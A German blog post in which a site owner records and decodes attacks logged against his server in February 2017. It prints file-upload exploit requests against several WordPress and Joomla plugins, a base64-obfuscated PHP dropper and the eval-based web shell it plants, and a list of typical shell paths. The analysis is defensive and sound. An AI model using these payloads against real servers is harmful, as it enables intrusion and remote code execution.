Angriff auf PHP basierte Services

Hier der Versuch einen WordPress Service zu hacken, dieses Szenario so passiert am 19.02.2017 auf diesem Service, hat natürlich nicht geklappt, da mein Server keine Scriptsprachen unterstützt und der Service kein WordPress ist.

Achtung diese Auflistung ist nicht vollständig, zahlreiche weitere Versuche sind noch aufgelaufen, die folgenden sind jedoch aus meiner Sicht die interessantesten Beispiele.

Erster Versuch:

Ein simpler File Upload Versuch:

```
POST /modules/mod_simplefileuploadv1.3/elements/udd.php
Content-Type: multipart/form-data
Content-Length: 442
```

Form data:

```
file: T6efnL.php
file_name: T6efnL.php
submit: Upload
```

Anschließend der Aufruf:

```
GET /modules/mod_simplefileuploadv1.3/elements/T6efnL.php
```

Zweiter Versuch:

Ein Versuch über den Weg Plugin Update

```
POST /wp-admin/admin-ajax.php
Content-Type: multipart/form-data
Content-Length: 546
```

Form data:

```
update_file: T6efnL.php
update_file_name: T6efnL.php
action: revslider_ajax_action
client_action: update_plugin
```

Anschließend der Aufruf:

```
GET /wp-content/plugins/revslider/temp/update_extract/T6efnL.php
```

Dritter Versuch:

Nutzen aller möglichen Plugins in denen ein File Upload möglich ist, hier ein paar Beispiele:

```
POST /
Content-Type: multipart/form-data
Content-Length: 535
```

Form data:

```
yiw_contact[]: T6efnL.php
yiw_contact[]_name: T6efnL.php
yiw_action: sendemail
id_form: a_3_3
```

Anschließend der Aufruf:

```
GET /wp-content/uploads/T6efnL.php
```

und der nächste File Upload Versuch:

```
POST /uploadify/uploadify.php?folder=/
Content-Type: multipart/form-data
Content-Length: 427
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
```

Form data:

```
Filedata: T6efnL.php
Filedata_name: T6efnL.php
1: 1
```

Anschließend der Aufruf:

```
GET /T6efnL.php
```

und der nächste File Upload Versuch:

```
POST /sites/all/libraries/elfinder/php/connector.minimal.php
Content-Type: multipart/form-data
Content-Length: 580
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
```

Form data:

```
upload[]: T6efnL.php
upload[]_name: T6efnL.php
cmd: upload
target: l1_Lw
html: 1
```

Anschließend der Aufruf:

```
GET /sites/all/libraries/elfinder/files/T6efnL.php
```

Vierter Versuch:

Die interessantesten Werte aus dem http header:

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 1268
User-Agent: Mozilla/5.0+(compatible; Googlebot/2.1; +http://www.google.com/bot.html)
```

Lustig ist das dieser böse Angreifer sich auch noch als Googlebot ausgibt.

Der urlencoded content des POSTs

```
z3: VDZlZm5MLnBocA==
z4: Lw==
RoyZ: @eval/**/(${'_P'.'OST'}[z9]/**/(${'_POS'.'T'}[z0]));
z9: BaSE64_dEcOdE
z0:
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyRuc
GF0aD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLkJhU0U2NF9kRWNPZEUoJF9HRVRbJ3o0J10pO2Z1bmN0aW9uIGNyZWF0ZUZvbG
RlcigkcGF0aCl7aWYoIWZpbGVfZXhpc3RzKCRwYXRoKSl7Y3JlYXRlRm9sZGVyKGRpcm5hbWUoJHBhdGgpKTtta2RpcigkcGF0aCwgMDc
3Nyk7fX1jcmVhdGVGb2xkZXIoJG5wYXRoKTtlY2hvKCItPnwiKTs7JGM9JF9QT1NUWyJ6MiJdOyRmPSRucGF0aC5CYVNFNjRfZEVjT2RF
KCRfR0VUWyJ6MyJdKTskYz1zdHJfcmVwbGFjZSgiXHIiLCIiLCRjKTskYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTskYnVmPSIiO2ZvcigkaT0
wOyRpPHN0cmxlbigkYyk7JGkrPTIpJGJ1Zi49dXJsZGVjb2RlKCIli5zdWJzdHIoJGMsJGksMikpO2VjaG8oQGZ3cml0ZShmb3BlbigkZiwidyIp
LCRidWYpPyIxIjoiMCIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
z2:
EFBBBF3C3F70687020282473756E203D20245F504F53545B276E6E64275D2920262620407072656 75F7265706C61636528272F61642F
65272C2740272E7374725F726F743133282772696E7927292E27282473756E29272C202761646427293B3F3E6C736C666A73646C666B
6A73646A6C665344466C666A703739333439333734393537332425736 4666A6B6C6B68676F657269676E65616C726E67763133723521
232425252426252A5E262425245E262A28524A4C515745524C515757455224252526252640252324255E25265E262A2A2628292829254
02421232525
```

Der POST ging an etliche Urls:

/images/1ndex.php, /sqlbak.php, /email.php, /functions.php, /logs.asp, /cache/news.php, /tmp.php, /shootme.php, /configurationbak.php, /robots.txt.php, /jconfig.php, /media/reads.php, /media/1ndex.php, /sql_dump.php, /images/laj.php, /tmp.php, /media/404.php, /media/tmp.php, /r3x.php, /log.php, /images/stories/0day.php, /includes/u2p.php, /images/xxx.php, /al277.php, /cache/cache_aqbmkwwx.php, /install.php, /dswat.org/wsdl.php, /robot.php, /wsdl.php, /goog1es.php, /site/tmp/cTivrC.php, /update.php, /includes.php, /wp-main.php, /news.php, /images/al277.php, /webconfig.txt.php, /administrator/webconfig.txt.php, /cache/cachee.php, /thumb.php, /administrator/dbconfig.php, /administrator/administrator.php, /SessionController.php, /maill.php, /webconfig.txt.php.suspected, /error-log.php, /authenticating.php, /google-assist.php, /images/google-assist.php, /images/robots.txt.php, /elements.php, /xmlsrpc.php, /wp-cache.php, /images/404.php, /images/head.php, /cache/support.php, /RoseLeif.php, /Abbrevsprl.php, /show.php, /images/defau1t.php, /cli/40dd1d.php, /administrator/includes/readmy.php, /infos.php, /cache/defau1t.php, /bookmark.php, /configbak.php, /wp-data.php, /wp-content/plugins/Fbrrchive.php, /wp-content/uploads/Fbrrchive.php, /wp-content/plugins/myshe.php, /wp-content/plugins/wp-cache.php, /wp-content/plugins/wp-footers.php, /wp-content/plugins/wpfootes.php, /wp-content/plugins/sql_dump.php, /wp-content/plugins/SocketIontrol.php, /wp-content/plugins/SocketIasrgasfontrol.php, /configurationbak.php.suspected, /wp-content/plugins/Analyser.php, /cache/list.php

mit den folgenen Query Parametern:

```
z3=VDZlZm5MLnBocA%3d%3d
z4=L2ltYWdlcy8%3d
```

Über diesen Angriff wird versucht im Verzeichnis /images/ des Webauftrittes eine Datei T6efnL.php anzulegen, mit dem Datenstrom aus z2.

RoyZ = $_POST[z9] $_POST[z0] // BaSE64_dEcOdE data of z0

```
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
$npath=$_SERVER['DOCUMENT_ROOT'].BaSE64_dEcOdE($_GET['z4']); // BaSE64_dEcOdE($_GET['z4']) => '/images/'
function createFolder($path){
  if(!file_exists($path)){
    createFolder(dirname($path));
    mkdir($path, 0777);
  }
}
createFolder($npath);
echo("->|");;
```

```
$c=$_POST["z2"];
$f=$npath.BaSE64_dEcOdE($_GET["z3"]); // BaSE64_dEcOdE($_GET["z3"]) => T6efnL.php
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
```

Der Datenstrom aus z2 ergibt

```
<?php ($sun = $_POST['nnd']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($sun)', 'add');?
>lslfjsdlfkjsdjlfSDFlfjp793493749573$%sdfjklkhgoerignealrngv13r5!#$%%$&%*^&$%$^&*
(RJLQWERLQWWER$%%&%&@%#$%^%&^&**&()%@$!#%%
```

str_rot13('riny') => eval

```
<?php ($sun = $_POST['nnd']) && @preg_replace('/ad/e','@eval.'($sun)', 'add');?
>lslfjsdlfkjsdjlfSDFlfjp793493749573$%sdfjklkhgoerignealrngv13r5!#$%%$&%*^&$%$^&*
(RJLQWERLQWWER$%%&%&@%#$%^%&^&**&()%@$!#%%
```

Autor: Udo Schmal, veröffentlicht: 18.02.2017, letzte Änderung: 19.02.2017